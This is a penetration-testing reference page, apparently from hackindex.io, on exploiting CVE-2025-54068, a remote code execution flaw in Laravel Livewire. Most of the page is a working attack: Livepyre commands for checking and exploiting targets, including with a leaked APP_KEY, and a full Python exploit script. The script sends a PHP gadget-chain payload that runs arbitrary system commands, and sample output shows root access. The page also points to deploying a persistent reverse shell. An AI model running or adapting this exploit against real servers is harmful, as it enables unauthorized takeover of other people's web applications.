# CVE-2025-54068 Livewire RCE Exploitation

> Exploits CVE-2025-54068, a critical Livewire RCE vulnerability via malicious component payloads over HTTP/HTTPS to achieve remote code execution.

- **URL:** https://hackindex.io/services/web/exploitation/cve-2025-54068-livewire-rce
- **Path:** HTTP/HTTPS > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/web/exploitation.md)
- **Published:** 2026-02-17
- **Updated:** 2026-04-24

Laravel Livewire components expose remote code execution via insecure snapshot handling. CVE-2025-54068 affects specific versions where component state hydration trusts client-side data. Attackers manipulate snapshots to trigger arbitrary PHP function execution. For other PHP-specific exploitation techniques, see [insecure deserialization](https://hackindex.io/services/web/exploitation/insecure-deserialization).

> [!WARNING]
> This tool performs automatic exploitation; because exams like OSCP typically do not allow automated exploitation scripts, the manual exploitation steps below are a safer OSCP-friendly option:only test on environments you own or have explicit permission to assess (e.g., labs/approved scoped targets).

Prerequisites and affected conditions:

- Target runs Laravel with Livewire components exposing `wire:snapshot` attributes
- Snapshot hydration trusts client-side data without proper validation
- Exploitation without APP_KEY requires component parameters that accept object types
- Exploitation with APP_KEY bypasses all integrity checks, retrieve it from .env disclosure or config leaks

## CVE-2025-54068 Livewire RCE Verification

Use Livepyre to identify vulnerable Livewire instances. The tool checks version numbers and attempts snapshot manipulation without requiring the application key.

```bash
./Livepyre.py -u http://$TARGET_IP:$PORT --check
```

A vulnerable response indicates the server accepts manipulated snapshot data during the hydration phase. Proceed to exploitation if authorized.

## Exploitation Without Application Key

Exploitation is possible without the `APP_KEY` if the snapshot contains object types reachable during deserialization. Livepyre attempts to identify parameters accepting objects to bypass signature validation.

```bash
./Livepyre.py -u http://$TARGET_IP:$PORT
```

If no object types are detected, the tool attempts brute-force on parameter counts. This increases noise and detection risk.

Successful execution returns command output immediately. Use this access to deploy a persistent reverse shell or gather further intelligence.

## Exploitation With Application Key

Possession of the Laravel `APP_KEY` simplifies exploitation. The key signs snapshots, allowing arbitrary data injection without relying on specific object types or brute-force. Retrieve the key from `.env` file disclosure or configuration leaks.

```bash
./Livepyre.py -u http://$TARGET_IP:$PORT -a 'base64:CGhMqYXFMzbOe048WS6a0iG8f6bBcTLVbP36bqqrvuA='
```

Replace the base64 string with the actual application key. The tool signs the malicious snapshot correctly.

This method is more reliable than blind exploitation. It bypasses integrity checks entirely.

## Single file Python3 exploit

If you prefer using a single Python3 exploit script, you can easily adapt everything into one file using the template below.

```bash
python3 exploit.py
# [+] Targeting http://127.0.0.1:8000
# [+] CSRF Token acquired: FZECb5D7UF0rjvBhpqdj...
# [+] Snapshot extracted successfully
# [+] Component ID: Hw1rdEMoCb5vjgoqvt2P
# [+] Component Name: counter
# [+] Sending exploit payload...
# [*] Found param: count
# [*] Stage 1 payload being sent:
# [!] Stage 1 failed with status 500
# [*] Found param: name
# [*] Stage 1 payload being sent:
# [!] Stage 1 failed with status 500
# [*] Found param: obj
# [*] Stage 1 payload being sent:
# [*] Stage 2 payload being sent:
# [+] Response Status: 200
# [+] Response: 
# uid=0(root) gid=0(root) groups=0(root)
#
# [+] Exploit successful. Command output received.
#
```

Update the source code as needed (e.g., target URL, port, and any payload values).

```python
"""
Simple single file CVE-2025-54068 exploit

Author: Joshua van der Poll
Website: https://hackindex.io/services/web/exploitation/cve-2025-54068-livewire-rce
"""
import requests
import re
import json
import sys
import html

TARGET_IP = "127.0.0.1" # Change me
PORT = "8000" # Change me
BASE_URL = f"http://{TARGET_IP}:{PORT}"
COMMAND = "id" # Change me

def get_csrf_token(session):
    response = session.get(BASE_URL)
    
    patterns = [
        r'<meta name="csrf-token" content="([^"]+)"',
        r'data-csrf="([^"]+)"',
    ]
    
    for pattern in patterns:
        match = re.search(pattern, response.text)
        if match:
            return match.group(1)
    
    raise Exception("CSRF token not found")

def get_livewire_state(session):
    response = session.get(BASE_URL)
    html_content = response.text
    
    snapshot_match = re.search(r'wire:snapshot="([^"]+)"', html_content)
    if not snapshot_match:
        raise Exception("wire:snapshot not found")
    
    snapshot_raw = snapshot_match.group(1)
    snapshot_decoded = html.unescape(snapshot_raw)
    snapshot_json = json.loads(snapshot_decoded)
    
    return snapshot_json

def exploit(session, csrf_token, snapshot_json):
    url = f"{BASE_URL}/livewire/update"
    
    final_param_name = None
    for param in snapshot_json["data"]:
        print(f"[*] Found param: {param}")
        
        # Stage 1: Cast the object property to an array
        snapshot_str = json.dumps(snapshot_json)
        payload_stage1={"_token":csrf_token,"components":[{"snapshot":snapshot_str,"updates":{param:[]},"calls":[]}]}
        
        headers = {
            "Content-Type": "application/json",
            "Accept": "application/json",
            "X-Livewire": "true",
        }
        
        print("[*] Stage 1 payload being sent:")
        
        response_stage1 = session.post(url, json=payload_stage1, headers=headers)
        if response_stage1.status_code != 200:
            print(f"[!] Stage 1 failed with status {response_stage1.status_code}")
            continue
        
        response_data = response_stage1.json()
        try:
            new_snapshot = response_data["components"][0]["snapshot"]
        except (KeyError, IndexError):
            print("[!] Failed to extract new snapshot from stage 1 response")
            continue

        final_param_name = param
        
    if not new_snapshot:
        raise Exception("[!] No valid snapshot obtained from stage 1")

    # Stage 2: Build and send the RCE payload
    json_payload={"_token":csrf_token,"components":[{"snapshot":new_snapshot,"updates":{"TARGET":[1,[{"a":[{"__toString":"phpversion","close":[[[{"chained":["O:38:\"Illuminate\\Broadcasting\\BroadcastEvent\":4:{s:5:\"dummy\";O:40:\"Illuminate\\Broadcasting\\PendingBroadcast\":2:{s:9:\"\u0000*\u0000events\";O:31:\"Illuminate\\Validation\\Validator\":1:{s:10:\"extensions\";a:1:{s:0:\"\";s:[FUNCTION_LEN]:\"[FUNCTION]\";}}s:8:\"\u0000*\u0000event\";s:[PARAM_LEN]:\"[PARAM]\";}s:10:\"connection\";N;s:5:\"queue\";N;s:5:\"event\";O:37:\"Illuminate\\Notifications\\Notification\":0:{}}"]},{"s":"form","class":"Illuminate\\Broadcasting\\BroadcastEvent"}],"dispatchNextJobInChain"],{"s":"clctn","class":"Laravel\\SerializableClosure\\Serializers\\Signed"}]},{"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}],"b":[{"__toString":[[[None,{"s":"mdl","class":"Laravel\\Prompts\\Terminal"}],"exit"],{"s":"clctn","class":"Laravel\\SerializableClosure\\Serializers\\Signed"}]},{"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}]},{"class":"League\\Flysystem\\UrlGeneration\\ShardedPrefixPublicUrlGenerator","s":"clctn"}]]},"calls":[]}]}
    updated_updates = json_payload["components"][0]["updates"]
    updated_updates[final_param_name] = updated_updates.pop("TARGET")
    function = "system" # Change this if needed
    user_payload = json_payload["components"][0]["updates"][final_param_name][1][0]["a"][0]["close"][0][0][0]["chained"][0]
    user_payload = user_payload.replace("[FUNCTION_LEN]", str(len(function)))
    user_payload = user_payload.replace("[FUNCTION]", function)
    user_payload = user_payload.replace("[PARAM_LEN]", str(len(COMMAND)))
    user_payload = user_payload.replace("[PARAM]", COMMAND)
    json_payload["components"][0]["updates"][final_param_name][1][0]["a"][0]["close"][0][0][0]["chained"][0] = user_payload
    
    print("[*] Stage 2 payload being sent:")
    
    response_stage2 = session.post(url, json=json_payload, headers=headers)
    return response_stage2.text, response_stage2.status_code

def main():
    session = requests.Session()
    try:
        print(f"[+] Targeting {BASE_URL}")
        
        csrf_token = get_csrf_token(session)
        print(f"[+] CSRF Token acquired: {csrf_token[:20]}...")
        
        snapshot_json = get_livewire_state(session)
        print(f"[+] Snapshot extracted successfully")
        print(f"[+] Component ID: {snapshot_json['memo']['id']}")
        print(f"[+] Component Name: {snapshot_json['memo']['name']}")
        
        print(f"[+] Sending exploit payload...")
        response, status_code = exploit(session, csrf_token, snapshot_json)
        
        print(f"[+] Response Status: {status_code}")
        print(f"[+] Response: \n{response[:2000]}")
        
        if "uid=" in response or "root" in response or "www-data" in response:
            print("[+] Exploit successful. Command output received.")
        elif status_code == 500:
            print("[-] Server error. Check payload compatibility.")
        else:
            print("[-] Exploit failed. Check response for errors.")
            
    except Exception as e:
        print(f"[-] Error: {e}")
        sys.exit(1)

if __name__ == "__main__":
    main()
```
